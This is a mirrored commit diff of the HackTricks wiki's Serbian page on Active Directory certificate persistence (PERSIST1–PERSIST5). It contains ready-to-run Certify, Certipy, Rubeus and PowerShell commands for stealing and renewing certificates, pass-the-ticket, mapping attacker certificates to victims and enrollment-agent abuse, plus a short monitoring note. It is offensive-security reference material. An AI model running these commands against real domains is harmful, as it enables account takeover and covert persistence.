mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
ef879149da
commit
0d1332173b
@ -2,55 +2,131 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ovo je kratak pregled poglavlja o postojanosti mašine iz sjajnog istraživanja sa [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
**Ovo je kratak pregled poglavlja o postojanju naloga iz sjajnog istraživanja sa [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
|
||||
## **Razumevanje krađe aktivnih korisničkih akreditiva pomoću sertifikata – PERSIST1**
|
||||
## Razumevanje krađe korisničkih akreditiva aktivnih korisnika pomoću sertifikata – PERSIST1
|
||||
|
||||
U scenariju gde korisnik može da zatraži sertifikat koji omogućava autentifikaciju domena, napadač ima priliku da **zatraži** i **ukrade** ovaj sertifikat kako bi **održao postojanost** na mreži. Po defaultu, `User` šablon u Active Directory omogućava takve zahteve, iako može ponekad biti onemogućen.
|
||||
U scenariju gde korisnik može da zatraži sertifikat koji omogućava autentifikaciju domena, napadač ima priliku da zatraži i ukrade ovaj sertifikat kako bi održao postojanost na mreži. Po defaultu, `User` šablon u Active Directory-ju omogućava takve zahteve, iako može ponekad biti onemogućen.
|
||||
|
||||
Korišćenjem alata pod nazivom [**Certify**](https://github.com/GhostPack/Certify), može se pretraživati validne sertifikate koji omogućavaju postojan pristup:
|
||||
Korišćenjem [Certify](https://github.com/GhostPack/Certify) ili [Certipy](https://github.com/ly4k/Certipy), možete pretraživati omogućene šablone koji dozvoljavaju autentifikaciju klijenata i zatim zatražiti jedan:
|
||||
```bash
|
||||
# Enumerate client-auth capable templates
|
||||
Certify.exe find /clientauth
|
||||
```
|
||||
Istaknuto je da moć sertifikata leži u njegovoj sposobnosti da **autentifikuje kao korisnik** kojem pripada, bez obzira na bilo kakve promene lozinke, sve dok sertifikat ostaje **važeći**.
|
||||
|
||||
Sertifikati se mogu tražiti putem grafičkog interfejsa koristeći `certmgr.msc` ili putem komandne linije sa `certreq.exe`. Sa **Certify**, proces traženja sertifikata je pojednostavljen na sledeći način:
|
||||
```bash
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
|
||||
# Request a user cert from an Enterprise CA (current user context)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
|
||||
|
||||
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
|
||||
```
|
||||
Kada je zahtev uspešan, sertifikat zajedno sa svojim privatnim ključem se generiše u `.pem` formatu. Da bi se ovo konvertovalo u `.pfx` datoteku, koja se može koristiti na Windows sistemima, koristi se sledeća komanda:
|
||||
Moć sertifikata leži u njegovoj sposobnosti da autentifikuje kao korisnik kojem pripada, bez obzira na promene lozinke, sve dok sertifikat ostaje važeći.
|
||||
|
||||
Možete konvertovati PEM u PFX i koristiti ga za dobijanje TGT-a:
|
||||
```bash
|
||||
# Convert PEM returned by Certify to PFX
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
```
|
||||
Datoteka `.pfx` se zatim može otpremiti na ciljni sistem i koristiti sa alatom pod nazivom [**Rubeus**](https://github.com/GhostPack/Rubeus) za zahtev za Ticket Granting Ticket (TGT) za korisnika, produžavajući pristup napadača sve dok je sertifikat **važeći** (obično jednu godinu):
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
|
||||
```
|
||||
Važna upozorenja se dele o tome kako ova tehnika, u kombinaciji sa drugom metodom opisano u sekciji **THEFT5**, omogućava napadaču da trajno dobije **NTLM hash** naloga bez interakcije sa Local Security Authority Subsystem Service (LSASS), i iz neuzvišenog konteksta, pružajući diskretniju metodu za dugotrajno krađu akreditiva.
|
||||
|
||||
## **Sticanje mašinske postojanosti sa sertifikatima - PERSIST2**
|
||||
# Use certificate for PKINIT and inject the TGT
|
||||
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
|
||||
|
||||
Druga metoda uključuje registraciju mašinskog naloga kompromitovanog sistema za sertifikat, koristeći podrazumevani `Machine` šablon koji omogućava takve radnje. Ako napadač dobije uzvišene privilegije na sistemu, može koristiti **SYSTEM** nalog za zahtev sertifikata, pružajući oblik **postojanosti**:
|
||||
# Or with Certipy
|
||||
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
> Napomena: U kombinaciji sa drugim tehnikama (vidi odeljke o KRAĐI), autentifikacija zasnovana na sertifikatima omogućava trajni pristup bez dodirivanja LSASS-a i čak iz neuzdignutih konteksta.
|
||||
|
||||
## Sticanje trajnosti mašine pomoću sertifikata - PERSIST2
|
||||
|
||||
Ako napadač ima uzdignute privilegije na hostu, može registrovati kompromitovani sistemski račun mašine za sertifikat koristeći podrazumevani `Machine` šablon. Autentifikacija kao mašina omogućava S4U2Self za lokalne usluge i može obezbediti trajnu postojanost hosta:
|
||||
```bash
|
||||
# Request a machine certificate as SYSTEM
|
||||
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
|
||||
|
||||
# Authenticate as the machine using the issued PFX
|
||||
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
|
||||
```
|
||||
Ovaj pristup omogućava napadaču da se autentifikuje na **Kerberos** kao mašinski nalog i koristi **S4U2Self** da dobije Kerberos servisne karte za bilo koju uslugu na hostu, efektivno dajući napadaču trajni pristup mašini.
|
||||
## Produženje postojanosti kroz obnavljanje sertifikata - PERSIST3
|
||||
|
||||
## **Produženje Persistencije Kroz Obnovu Sertifikata - PERSIST3**
|
||||
Zloupotreba perioda važenja i obnavljanja šablona sertifikata omogućava napadaču da održi dugoročni pristup. Ako posedujete prethodno izdat sertifikat i njegov privatni ključ, možete ga obnoviti pre isteka kako biste dobili svež, dugotrajan kredencijal bez ostavljanja dodatnih artefakata zahteva povezanih sa originalnim principalom.
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
|
||||
|
||||
Poslednja metoda koja se razmatra uključuje korišćenje **važenja** i **perioda obnove** šablona sertifikata. Obnavljanjem sertifikata pre njegovog isteka, napadač može održati autentifikaciju na Active Directory bez potrebe za dodatnim upisima karata, što bi moglo ostaviti tragove na serveru Sertifikacione vlasti (CA).
|
||||
# Native Windows renewal with certreq
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> Operativni savet: Pratite trajanje PFX datoteka koje drži napadač i obnavljajte ih unapred. Obnova takođe može uzrokovati da ažurirani sertifikati uključuju modernu SID mapiranje ekstenziju, čineći ih upotrebljivim pod strožim DC pravilima mapiranja (vidi sledeću sekciju).
|
||||
|
||||
### Obnova Sertifikata sa Certify 2.0
|
||||
## Postavljanje Eksplicitnih Sertifikat Mapa (altSecurityIdentities) – PERSIST4
|
||||
|
||||
Počevši od **Certify 2.0**, proces obnove je potpuno automatizovan kroz novu `request-renew` komandu. Dajući prethodno izdat sertifikat (u **base-64 PKCS#12** formatu), napadač može da ga obnovi bez interakcije sa originalnim vlasnikom – savršeno za diskretnu, dugoročnu persistenciju:
|
||||
Ako možete da pišete u `altSecurityIdentities` atribut ciljnog naloga, možete eksplicitno mapirati sertifikat pod kontrolom napadača na taj nalog. Ovo ostaje aktivno i nakon promena lozinke i, kada se koriste jaki formati mapiranja, ostaje funkcionalno pod modernim DC sprovođenjem.
|
||||
|
||||
Visok nivo toka:
|
||||
|
||||
1. Nabavite ili izdate klijent-auth sertifikat koji kontrolišete (npr. upišite `User` šablon kao sebe).
|
||||
2. Izvucite jak identifikator iz sertifikata (Issuer+Serial, SKI, ili SHA1-PublicKey).
|
||||
3. Dodajte eksplicitno mapiranje na `altSecurityIdentities` žrtvenog principala koristeći taj identifikator.
|
||||
4. Autentifikujte se sa svojim sertifikatom; DC ga mapira na žrtvu putem eksplicitnog mapiranja.
|
||||
|
||||
Primer (PowerShell) koristeći jako Issuer+Serial mapiranje:
|
||||
```powershell
|
||||
Certify.exe request-renew --ca SERVER\\CA-NAME \
|
||||
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
|
||||
# Example values - reverse the issuer DN and serial as required by AD mapping format
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
|
||||
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR"
|
||||
|
||||
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Komanda će vratiti novi PFX koji je važeći za još jedan puni period trajanja, omogućavajući vam da nastavite sa autentifikacijom čak i nakon što prvi sertifikat istekne ili bude opozvan.
|
||||
Zatim se autentifikujte sa svojim PFX. Certipy će direktno dobiti TGT:
|
||||
```bash
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
Notes
|
||||
- Koristite samo jake tipove mapiranja: X509IssuerSerialNumber, X509SKI ili X509SHA1PublicKey. Slabi formati (Subject/Issuer, samo Subject, RFC822 email) su zastareli i mogu biti blokirani politikom DC-a.
|
||||
- Lanac sertifikata mora biti izgrađen do korena koji je poveren DC-u. Preduzeća CAs u NTAuth su obično povereni; neka okruženja takođe veruju javnim CAs.
|
||||
|
||||
## References
|
||||
Za više informacija o slabim eksplicitnim mapiranjima i putevima napada, pogledajte:
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enrollment Agent as Persistence – PERSIST5
|
||||
|
||||
Ako dobijete važeći sertifikat za zahtev za sertifikat/sertifikat agenta za upis, možete kreirati nove sertifikate koji omogućavaju prijavu u ime korisnika po želji i čuvati agenta PFX van mreže kao token za postojanost. Zloupotreba radnog toka:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
|
||||
# Mint a user cert on behalf of another principal using the agent PFX
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
|
||||
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
|
||||
|
||||
# Or with Certipy
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
|
||||
```
|
||||
Revokacija sertifikata agenta ili dozvola šablona je potrebna za uklanjanje ove perzistencije.
|
||||
|
||||
## 2025 Snažno sprovođenje mapiranja sertifikata: Uticaj na perzistenciju
|
||||
|
||||
Microsoft KB5014754 je uveo snažno sprovođenje mapiranja sertifikata na kontrolerima domena. Od 11. februara 2025, DC-ovi podrazumevano koriste potpuno sprovođenje, odbacujući slaba/ambigvna mapiranja. Praktične posledice:
|
||||
|
||||
- Sertifikati pre 2022. godine koji nemaju SID mapiranje ekstenziju mogu propasti implicitno mapiranje kada su DC-ovi u potpunom sprovođenju. Napadači mogu održati pristup ili obnavljanjem sertifikata putem AD CS (da bi dobili SID ekstenziju) ili postavljanjem snažnog eksplicitnog mapiranja u `altSecurityIdentities` (PERSIST4).
|
||||
- Eksplicitna mapiranja koristeći jake formate (Issuer+Serial, SKI, SHA1-PublicKey) nastavljaju da funkcionišu. Slabi formati (Issuer/Subject, samo Subject, RFC822) mogu biti blokirani i treba ih izbegavati za perzistenciju.
|
||||
|
||||
Administratori bi trebali pratiti i obaveštavati o:
|
||||
- Promenama u `altSecurityIdentities` i izdavanju/obnavljanju sertifikata za Enrollment Agent i korisnike.
|
||||
- CA logovima o izdavanju za zahteve u ime i neobičnim obrascima obnavljanja.
|
||||
|
||||
## Reference
|
||||
|
||||
- Microsoft. KB5014754: Promene u autentifikaciji zasnovanoj na sertifikatima na Windows kontrolerima domena (vremenska linija sprovođenja i jaka mapiranja).
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – Referenca komandi (`req -renew`, `auth`, `shadow`).
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user